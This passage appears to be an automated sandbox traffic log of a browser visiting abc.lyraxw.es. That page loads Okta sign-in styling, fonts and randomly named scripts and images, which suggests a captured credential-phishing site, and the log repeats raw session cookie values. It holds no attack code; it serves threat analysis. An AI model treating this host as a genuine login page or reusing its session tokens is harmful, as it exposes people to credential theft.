laravel_session=eyJpdiI6Ijg2TU5Keko1QVJUS3pIWVVvMll0MlE9PSIsInZhbHVlIjoidmxndnBOMlNiVTIxaGVtWTVyTXFYVWhWTGxyYTdsbWJwY1pVbnlPazgySnNacEZuNkdSSHp5UGJLalNiSW9aV1hwZ3hiKzIwaC94QnJOeVFIekxYZlM1UC8rYTROTzJKM0FqYjlJYmg3K2tuaVVuMlkrUmVqYWtDUGluV3k1T3oiLCJtYWMiOiJhMzMzMjBhMDdmYzgzMTM0YTBmMGI1NzRlMTc3NDkzMzAzZmNhNDk4ZTU1OWRmZGY5OTE1MTdiYzY5NWUwYjYzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /GDSherpa-regular.woff2 HTTP/1.1Host: abc.lyraxw.esConnection: keep-aliveOrigin: https://abc.lyraxw.essec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://abc.lyraxw.es/EDDLEAYLUCAVPFWYREJUVOODWCFOKf4h3d3itoesnyibz7kg1p4?MPVRWMLSKAIKYAZQBISUNMHAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ilh5WGhjM25QN1o3aEpwaDZVV25lZkE9PSIsInZhbHVlIjoiT0Fmd1NqYThnTVdzKzZlczd1aWNMdCtFU2JxeUhoTTFKSXBMYmpYZ1hEd1Z3am9kaEpKU25qZVIwRm9sZVpWMGxEKzNDQ0huUWl5Ui9nNjBIWlVNQWNaNmdpUWZla1V2T29YN2puczNYSEFPRFZrcDZ4TnF1TXpDTTlYWWlMcWwiLCJtYWMiOiIzODBlNzIxOGQxZGZhNjllMWI1Y2I5OGY3OWQxNDFmMWYyM2JkN2Y4MWI0YzQwM2U0NTczY2Y4M2VjYzI5OGI5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ijg2TU5Keko1QVJUS3pIWVVvMll0MlE9PSIsInZhbHVlIjoidmxndnBOMlNiVTIxaGVtWTVyTXFYVWhWTGxyYTdsbWJwY1pVbnlPazgySnNacEZuNkdSSHp5UGJLalNiSW9aV1hwZ3hiKzIwaC94QnJOeVFIekxYZlM1UC8rYTROTzJKM0FqYjlJYmg3K2tuaVVuMlkrUmVqYWtDUGluV3k1T3oiLCJtYWMiOiJhMzMzMjBhMDdmYzgzMTM0YTBmMGI1NzRlMTc3NDkzMzAzZmNhNDk4ZTU1OWRmZGY5OTE1MTdiYzY5NWUwYjYzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /GDSherpa-regular.woff HTTP/1.1Host: abc.lyraxw.esConnection: keep-aliveOrigin: https://abc.lyraxw.essec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://abc.lyraxw.es/EDDLEAYLUCAVPFWYREJUVOODWCFOKf4h3d3itoesnyibz7kg1p4?MPVRWMLSKAIKYAZQBISUNMHAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ilh5WGhjM25QN1o3aEpwaDZVV25lZkE9PSIsInZhbHVlIjoiT0Fmd1NqYThnTVdzKzZlczd1aWNMdCtFU2JxeUhoTTFKSXBMYmpYZ1hEd1Z3am9kaEpKU25qZVIwRm9sZVpWMGxEKzNDQ0huUWl5Ui9nNjBIWlVNQWNaNmdpUWZla1V2T29YN2puczNYSEFPRFZrcDZ4TnF1TXpDTTlYWWlMcWwiLCJtYWMiOiIzODBlNzIxOGQxZGZhNjllMWI1Y2I5OGY3OWQxNDFmMWYyM2JkN2Y4MWI0YzQwM2U0NTczY2Y4M2VjYzI5OGI5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ijg2TU5Keko1QVJUS3pIWVVvMll0MlE9PSIsInZhbHVlIjoidmxndnBOMlNiVTIxaGVtWTVyTXFYVWhWTGxyYTdsbWJwY1pVbnlPazgySnNacEZuNkdSSHp5UGJLalNiSW9aV1hwZ3hiKzIwaC94QnJOeVFIekxYZlM1UC8rYTROTzJKM0FqYjlJYmg3K2tuaVVuMlkrUmVqYWtDUGluV3k1T3oiLCJtYWMiOiJhMzMzMjBhMDdmYzgzMTM0YTBmMGI1NzRlMTc3NDkzMzAzZmNhNDk4ZTU1OWRmZGY5OTE1MTdiYzY5NWUwYjYzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /fent/randexp.js/releases/download/v0.4.3/randexp.min.js HTTP/1.1Host: github.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://abc.lyraxw.es/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/js/sdk/okta-signin-widget/7.18.0/css/okta-sign-in.min.css HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleSec-Fetch-Storage-Access: activeReferer: https://abc.lyraxw.es/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/loginpage/css/loginpage-theme.e0d37a504604ef874bad26435d62011f.css HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleSec-Fetch-Storage-Access: activeReferer: https://abc.lyraxw.es/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /GDSherpa-vf.woff2 HTTP/1.1Host: abc.lyraxw.esConnection: keep-aliveOrigin: https://abc.lyraxw.essec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://abc.lyraxw.es/EDDLEAYLUCAVPFWYREJUVOODWCFOKf4h3d3itoesnyibz7kg1p4?MPVRWMLSKAIKYAZQBISUNMHAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ilh5WGhjM25QN1o3aEpwaDZVV25lZkE9PSIsInZhbHVlIjoiT0Fmd1NqYThnTVdzKzZlczd1aWNMdCtFU2JxeUhoTTFKSXBMYmpYZ1hEd1Z3am9kaEpKU25qZVIwRm9sZVpWMGxEKzNDQ0huUWl5Ui9nNjBIWlVNQWNaNmdpUWZla1V2T29YN2puczNYSEFPRFZrcDZ4TnF1TXpDTTlYWWlMcWwiLCJtYWMiOiIzODBlNzIxOGQxZGZhNjllMWI1Y2I5OGY3OWQxNDFmMWYyM2JkN2Y4MWI0YzQwM2U0NTczY2Y4M2VjYzI5OGI5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ijg2TU5Keko1QVJUS3pIWVVvMll0MlE9PSIsInZhbHVlIjoidmxndnBOMlNiVTIxaGVtWTVyTXFYVWhWTGxyYTdsbWJwY1pVbnlPazgySnNacEZuNkdSSHp5UGJLalNiSW9aV1hwZ3hiKzIwaC94QnJOeVFIekxYZlM1UC8rYTROTzJKM0FqYjlJYmg3K2tuaVVuMlkrUmVqYWtDUGluV3k1T3oiLCJtYWMiOiJhMzMzMjBhMDdmYzgzMTM0YTBmMGI1NzRlMTc3NDkzMzAzZmNhNDk4ZTU1OWRmZGY5OTE1MTdiYzY5NWUwYjYzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /github-production-release-asset-2e65be/2925284/11f3acf8-4ccb-11e6-8ce4-c179c0a212de?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20250317%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20250317T221038Z&X-Amz-Expires=300&X-Amz-Signature=5037b9df5fdbe8af77d0b9aab7afedd840381dccd8dfeb6ba76cac84adf0e38e&X-Amz-SignedHeaders=host&response-content-disposition=attachment%3B%20filename%3Drandexp.min.js&response-content-type=application%2Foctet-stream HTTP/1.1Host: objects.githubusercontent.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://abc.lyraxw.es/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /34C7V2eBuqSuT957ghm7Ry8Vg2Gs89110 HTTP/1.1Host: abc.lyraxw.esConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://abc.lyraxw.es/EDDLEAYLUCAVPFWYREJUVOODWCFOKf4h3d3itoesnyibz7kg1p4?MPVRWMLSKAIKYAZQBISUNMHAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ilh5WGhjM25QN1o3aEpwaDZVV25lZkE9PSIsInZhbHVlIjoiT0Fmd1NqYThnTVdzKzZlczd1aWNMdCtFU2JxeUhoTTFKSXBMYmpYZ1hEd1Z3am9kaEpKU25qZVIwRm9sZVpWMGxEKzNDQ0huUWl5Ui9nNjBIWlVNQWNaNmdpUWZla1V2T29YN2puczNYSEFPRFZrcDZ4TnF1TXpDTTlYWWlMcWwiLCJtYWMiOiIzODBlNzIxOGQxZGZhNjllMWI1Y2I5OGY3OWQxNDFmMWYyM2JkN2Y4MWI0YzQwM2U0NTczY2Y4M2VjYzI5OGI5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ijg2TU5Keko1QVJUS3pIWVVvMll0MlE9PSIsInZhbHVlIjoidmxndnBOMlNiVTIxaGVtWTVyTXFYVWhWTGxyYTdsbWJwY1pVbnlPazgySnNacEZuNkdSSHp5UGJLalNiSW9aV1hwZ3hiKzIwaC94QnJOeVFIekxYZlM1UC8rYTROTzJKM0FqYjlJYmg3K2tuaVVuMlkrUmVqYWtDUGluV3k1T3oiLCJtYWMiOiJhMzMzMjBhMDdmYzgzMTM0YTBmMGI1NzRlMTc3NDkzMzAzZmNhNDk4ZTU1OWRmZGY5OTE1MTdiYzY5NWUwYjYzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /GDSherpa-vf2.woff2 HTTP/1.1Host: abc.lyraxw.esConnection: keep-aliveOrigin: https://abc.lyraxw.essec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://abc.lyraxw.es/EDDLEAYLUCAVPFWYREJUVOODWCFOKf4h3d3itoesnyibz7kg1p4?MPVRWMLSKAIKYAZQBISUNMHAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ilh5WGhjM25QN1o3aEpwaDZVV25lZkE9PSIsInZhbHVlIjoiT0Fmd1NqYThnTVdzKzZlczd1aWNMdCtFU2JxeUhoTTFKSXBMYmpYZ1hEd1Z3am9kaEpKU25qZVIwRm9sZVpWMGxEKzNDQ0huUWl5Ui9nNjBIWlVNQWNaNmdpUWZla1V2T29YN2puczNYSEFPRFZrcDZ4TnF1TXpDTTlYWWlMcWwiLCJtYWMiOiIzODBlNzIxOGQxZGZhNjllMWI1Y2I5OGY3OWQxNDFmMWYyM2JkN2Y4MWI0YzQwM2U0NTczY2Y4M2VjYzI5OGI5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ijg2TU5Keko1QVJUS3pIWVVvMll0MlE9PSIsInZhbHVlIjoidmxndnBOMlNiVTIxaGVtWTVyTXFYVWhWTGxyYTdsbWJwY1pVbnlPazgySnNacEZuNkdSSHp5UGJLalNiSW9aV1hwZ3hiKzIwaC94QnJOeVFIekxYZlM1UC8rYTROTzJKM0FqYjlJYmg3K2tuaVVuMlkrUmVqYWtDUGluV3k1T3oiLCJtYWMiOiJhMzMzMjBhMDdmYzgzMTM0YTBmMGI1NzRlMTc3NDkzMzAzZmNhNDk4ZTU1OWRmZGY5OTE1MTdiYzY5NWUwYjYzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ijWWLDoCvTuJ44YEia1IBKMedjsDXwWtKcXBKxZktSxItF89dEWcOT1enMOcUvvj6675q516tMvwyz224 HTTP/1.1Host: abc.lyraxw.esConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://abc.lyraxw.es/EDDLEAYLUCAVPFWYREJUVOODWCFOKf4h3d3itoesnyibz7kg1p4?MPVRWMLSKAIKYAZQBISUNMHAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ilh5WGhjM25QN1o3aEpwaDZVV25lZkE9PSIsInZhbHVlIjoiT0Fmd1NqYThnTVdzKzZlczd1aWNMdCtFU2JxeUhoTTFKSXBMYmpYZ1hEd1Z3am9kaEpKU25qZVIwRm9sZVpWMGxEKzNDQ0huUWl5Ui9nNjBIWlVNQWNaNmdpUWZla1V2T29YN2puczNYSEFPRFZrcDZ4TnF1TXpDTTlYWWlMcWwiLCJtYWMiOiIzODBlNzIxOGQxZGZhNjllMWI1Y2I5OGY3OWQxNDFmMWYyM2JkN2Y4MWI0YzQwM2U0NTczY2Y4M2VjYzI5OGI5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ijg2TU5Keko1QVJUS3pIWVVvMll0MlE9PSIsInZhbHVlIjoidmxndnBOMlNiVTIxaGVtWTVyTXFYVWhWTGxyYTdsbWJwY1pVbnlPazgySnNacEZuNkdSSHp5UGJLalNiSW9aV1hwZ3hiKzIwaC94QnJOeVFIekxYZlM1UC8rYTROTzJKM0FqYjlJYmg3K2tuaVVuMlkrUmVqYWtDUGluV3k1T3oiLCJtYWMiOiJhMzMzMjBhMDdmYzgzMTM0YTBmMGI1NzRlMTc3NDkzMzAzZmNhNDk4ZTU1OWRmZGY5OTE1MTdiYzY5NWUwYjYzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /mn9u9NZ6Felt7yEip0cFn6xwU8gUwijZP89BUtiYsxUKm1Vj0rK3Twx220 HTTP/1.1Host: abc.lyraxw.esConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://abc.lyraxw.es/EDDLEAYLUCAVPFWYREJUVOODWCFOKf4h3d3itoesnyibz7kg1p4?MPVRWMLSKAIKYAZQBISUNMHAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ilh5WGhjM25QN1o3aEpwaDZVV25lZkE9PSIsInZhbHVlIjoiT0Fmd1NqYThnTVdzKzZlczd1aWNMdCtFU2JxeUhoTTFKSXBMYmpYZ1hEd1Z3am9kaEpKU25qZVIwRm9sZVpWMGxEKzNDQ0huUWl5Ui9nNjBIWlVNQWNaNmdpUWZla1V2T29YN2puczNYSEFPRFZrcDZ4TnF1TXpDTTlYWWlMcWwiLCJtYWMiOiIzODBlNzIxOGQxZGZhNjllMWI1Y2I5OGY3OWQxNDFmMWYyM2JkN2Y4MWI0YzQwM2U0NTczY2Y4M2VjYzI5OGI5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ijg2TU5Keko1QVJUS3pIWVVvMll0MlE9PSIsInZhbHVlIjoidmxndnBOMlNiVTIxaGVtWTVyTXFYVWhWTGxyYTdsbWJwY1pVbnlPazgySnNacEZuNkdSSHp5UGJLalNiSW9aV1hwZ3hiKzIwaC94QnJOeVFIekxYZlM1UC8rYTROTzJKM0FqYjlJYmg3K2tuaVVuMlkrUmVqYWtDUGluV3k1T3oiLCJtYWMiOiJhMzMzMjBhMDdmYzgzMTM0YTBmMGI1NzRlMTc3NDkzMzAzZmNhNDk4ZTU1OWRmZGY5OTE1MTdiYzY5NWUwYjYzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /wx3AdDnumR1SJPrIXuqrAlc1Jb57I0zYo34124 HTTP/1.1Host: abc.lyraxw.esConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://abc.lyraxw.es/EDDLEAYLUCAVPFWYREJUVOODWCFOKf4h3d3itoesnyibz7kg1p4?MPVRWMLSKAIKYAZQBISUNMHAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ilh5WGhjM25QN1o3aEpwaDZVV25lZkE9PSIsInZhbHVlIjoiT0Fmd1NqYThnTVdzKzZlczd1aWNMdCtFU2JxeUhoTTFKSXBMYmpYZ1hEd1Z3am9kaEpKU25qZVIwRm9sZVpWMGxEKzNDQ0huUWl5Ui9nNjBIWlVNQWNaNmdpUWZla1V2T29YN2puczNYSEFPRFZrcDZ4TnF1TXpDTTlYWWlMcWwiLCJtYWMiOiIzODBlNzIxOGQxZGZhNjllMWI1Y2I5OGY3OWQxNDFmMWYyM2JkN2Y4MWI0YzQwM2U0NTczY2Y4M2VjYzI5OGI5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ijg2TU5Keko1QVJUS3pIWVVvMll0MlE9PSIsInZhbHVlIjoidmxndnBOMlNiVTIxaGVtWTVyTXFYVWhWTGxyYTdsbWJwY1pVbnlPazgySnNacEZuNkdSSHp5UGJLalNiSW9aV1hwZ3hiKzIwaC94QnJOeVFIekxYZlM1UC8rYTROTzJKM0FqYjlJYmg3K2tuaVVuMlkrUmVqYWtDUGluV3k1T3oiLCJtYWMiOiJhMzMzMjBhMDdmYzgzMTM0YTBmMGI1NzRlMTc3NDkzMzAzZmNhNDk4ZTU1OWRmZGY5OTE1MTdiYzY5NWUwYjYzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /opWvCCAu7xUYPr7WbScGZJUSefbrtaCJjMgkfF4NxP9Oh45139 HTTP/1.1Host: abc.lyraxw.esConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://abc.lyraxw.es/EDDLEAYLUCAVPFWYREJUVOODWCFOKf4h3d3itoesnyibz7kg1p4?MPVRWMLSKAIKYAZQBISUNMHAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ilh5WGhjM25QN1o3aEpwaDZVV25lZkE9PSIsInZhbHVlIjoiT0Fmd1NqYThnTVdzKzZlczd1aWNMdCtFU2JxeUhoTTFKSXBMYmpYZ1hEd1Z3am9kaEpKU25qZVIwRm9sZVpWMGxEKzNDQ0huUWl5Ui9nNjBIWlVNQWNaNmdpUWZla1V2T29YN2puczNYSEFPRFZrcDZ4TnF1TXpDTTlYWWlMcWwiLCJtYWMiOiIzODBlNzIxOGQxZGZhNjllMWI1Y2I5OGY3OWQxNDFmMWYyM2JkN2Y4MWI0YzQwM2U0NTczY2Y4M2VjYzI5OGI5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ijg2TU5Keko1QVJUS3pIWVVvMll0MlE9PSIsInZhbHVlIjoidmxndnBOMlNiVTIxaGVtWTVyTXFYVWhWTGxyYTdsbWJwY1pVbnlPazgySnNacEZuNkdSSHp5UGJLalNiSW9aV1hwZ3hiKzIwaC94QnJOeVFIekxYZlM1UC8rYTROTzJKM0FqYjlJYmg3K2tuaVVuMlkrUmVqYWtDUGluV3k1T3oiLCJtYWMiOiJhMzMzMjBhMDdmYzgzMTM0YTBmMGI1NzRlMTc3NDkzMzAzZmNhNDk4ZTU1OWRmZGY5OTE1MTdiYzY5NWUwYjYzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /wx3AdDnumR1SJPrIXuqrAlc1Jb57I0zYo34124 HTTP/1.1Host: abc.lyraxw.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ilh5WGhjM25QN1o3aEpwaDZVV25lZkE9PSIsInZhbHVlIjoiT0Fmd1NqYThnTVdzKzZlczd1aWNMdCtFU2JxeUhoTTFKSXBMYmpYZ1hEd1Z3am9kaEpKU25qZVIwRm9sZVpWMGxEKzNDQ0huUWl5Ui9nNjBIWlVNQWNaNmdpUWZla1V2T29YN2puczNYSEFPRFZrcDZ4TnF1TXpDTTlYWWlMcWwiLCJtYWMiOiIzODBlNzIxOGQxZGZhNjllMWI1Y2I5OGY3OWQxNDFmMWYyM2JkN2Y4MWI0YzQwM2U0NTczY2Y4M2VjYzI5OGI5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ijg2TU5Keko1QVJUS3pIWVVvMll0MlE9PSIsInZhbHVlIjoidmxndnBOMlNiVTIxaGVtWTVyTXFYVWhWTGxyYTdsbWJwY1pVbnlPazgySnNacEZuNkdSSHp5UGJLalNiSW9aV1hwZ3hiKzIwaC94QnJOeVFIekxYZlM1UC8rYTROTzJKM0FqYjlJYmg3K2tuaVVuMlkrUmVqYWtDUGluV3k1T3oiLCJtYWMiOiJhMzMzMjBhMDdmYzgzMTM0YTBmMGI1NzRlMTc3NDkzMzAzZmNhNDk4ZTU1OWRmZGY5OTE1MTdiYzY5NWUwYjYzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /mn9u9NZ6Felt7yEip0cFn6xwU8gUwijZP89BUtiYsxUKm1Vj0rK3Twx220 HTTP/1.1Host: abc.lyraxw.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ilh5WGhjM25QN1o3aEpwaDZVV25lZkE9PSIsInZhbHVlIjoiT0Fmd1NqYThnTVdzKzZlczd1aWNMdCtFU2JxeUhoTTFKSXBMYmpYZ1hEd1Z3am9kaEpKU25qZVIwRm9sZVpWMGxEKzNDQ0huUWl5Ui9nNjBIWlVNQWNaNmdpUWZla1V2T29YN2puczNYSEFPRFZrcDZ4TnF1TXpDTTlYWWlMcWwiLCJtYWMiOiIzODBlNzIxOGQxZGZhNjllMWI1Y2I5OGY3OWQxNDFmMWYyM2JkN2Y4MWI0YzQwM2U0NTczY2Y4M2VjYzI5OGI5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ijg2TU5Keko1QVJUS3pIWVVvMll0MlE9PSIsInZhbHVlIjoidmxndnBOMlNiVTIxaGVtWTVyTXFYVWhWTGxyYTdsbWJwY1pVbnlPazgySnNacEZuNkdSSHp5UGJLalNiSW9aV1hwZ3hiKzIwaC94QnJOeVFIekxYZlM1UC8rYTROTzJKM0FqYjlJYmg3K2tuaVVuMlkrUmVqYWtDUGluV3k1T3oiLCJtYWMiOiJhMzMzMjBhMDdmYzgzMTM0YTBmMGI1NzRlMTc3NDkzMzAzZmNhNDk4ZTU1OWRmZGY5OTE1MTdiYzY5NWUwYjYzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /mnVedtOixL38C0BJgkDMR9Zcc6T8uvYDaAtVGM7H3Hzsxk78148 HTTP/1.1Host: abc.lyraxw.esConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://abc.lyraxw.es/EDDLEAYLUCAVPFWYREJUVOODWCFOKf4h3d3itoesnyibz7kg1p4?MPVRWMLSKAIKYAZQBISUNMHAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: 